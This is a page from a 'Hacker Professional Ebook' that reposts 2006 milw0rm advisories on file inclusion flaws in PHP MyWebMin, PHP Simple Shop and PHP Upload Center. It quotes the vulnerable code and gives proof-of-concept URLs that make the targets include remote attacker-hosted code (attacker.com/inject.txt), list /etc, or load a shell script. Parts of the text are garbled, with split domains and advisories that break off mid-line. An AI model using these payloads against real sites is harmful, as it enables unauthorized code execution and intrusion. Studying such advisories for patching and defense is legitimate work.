Hacker Professional Ebook part 406 doc

navaroHCE PHP Simple Shop... Solution: ~~~~~~ - Sanitize variable $abs_path on affected files.. Notification: ~~~~~~~~~ I've been contacting the web/software administrator to tell about

#######################################

+PHP MyWebMin 1.0 Remote File Include

+Advisory #5

+Product HP MyWebMin

+Develop:

+http://www.josh.ch/joshch/php-tools/ ,download.html +Vulnerable: Remote File Includes

+Risk:High

+Class:Remote

+Discovered:by Kernel-32

+Contact: kernel-32@linuxmail.org

+Homepage: http://kernel-32.blogspot.com

+Greetz: BeLa

########################################

Vulnerable File:window.php

$ordner = opendir("$target");

?>

and

include("$target/preferences.php");

if($action != "")

{

include("$action.php");

?>

Examples:

http://site/path/window.php?target=/etc

http://site/path/home.php?target=/home

http://site/path/window.php?action=Shell.php

# milw0rm.com [2006-09-28]

navaro(HCE)

PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion

Code:

\_ _/\_ _ \ / | \\ _ \

| )_ / \ \// ~ \/ | \

| \\ \ _\ Y / | \

/ _ / \ /\ _|_ /\ _ /

\/ \/ \/ \/ OR.ID

ECHO_ADV_44$2006

-

[ECHO_ADV_44$2006] PHP Simple Shop <= 2.0 (abs_path) Remote File

Inclusion

-

Author : Ahmad Maulana a.k.a Matdhule

Date Found : August, 07th 2006

Location : Indonesia, Jakarta

web : http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt

Critical Lvl : Highly critical

Impact : System access

Where : From Remote

-

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~

PHP Simple Shop

Application : PHP Simple Shop

version : Latest version [2.0]

URL : http://www.turnkeywebtools.com/phpsimpleshop

-

Vulnerability:

~~~~~~~~~~~~~

In folder admin we found vulnerability script index.php

-index.php -

<?PHP

/*

index.php - $DATE$ - $TIME$ - $VERSION$

PHP Simple Shop

http://www.turnkeywebtools.com/phpsimpleshop/

Copyright (c) 2001-2005 Turnkey Web Tools, Inc

*/

if (isset($abs_path) && $abs_path != "") {

include $abs_path."admin/adminglobal.php";

} else {

include "./adminglobal.php";

}

-

Input passed to the "abs_path" parameter in index.php is not

properly verified before being used This can be exploited to execute arbitrary PHP code by including files from local or external

resources

Also affected files :

adminindex.php

adminglobal.php

login.php

menu.php

header.php

Proof Of Concept:

~~~~~~~~~~~~~~

http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://att acker.com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://at tacker.com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker com/inject.txt?

http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacke r.com/inject.txt?

Solution:

~~~~~~

- Sanitize variable $abs_path on affected files

Notification:

~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system,

but instead of giving a nice response, he replied so rudely and arrogantly

I recommend not to use this product for your own sake

-

Shoutz:

~~

~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :)

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous

~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama

~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com

~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net

-

-

Contact:

~~~

matdhule[at]gmail[dot]com

- [ EOF ] -

# milw0rm.com [2006-08-07]

vns3curity(HCE)

PHP Upload Center 2.0 (activate.php) File Include Vulnerabilities

Code:

* Name = PHP Upload Center v2.0 ;

* Class = Remote/Local File Inclusion ;

* Download = http://skrypty.webpc.pl/pobierz.php?id=58 ;

* Found by = GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;

-

Vulnerable Code in activate.php

line 66-70

if (!isset($language))

$language=$dft_language;

if ($language=="")

$language=$dft_language;

require("include/${language}.php"); <== Local incl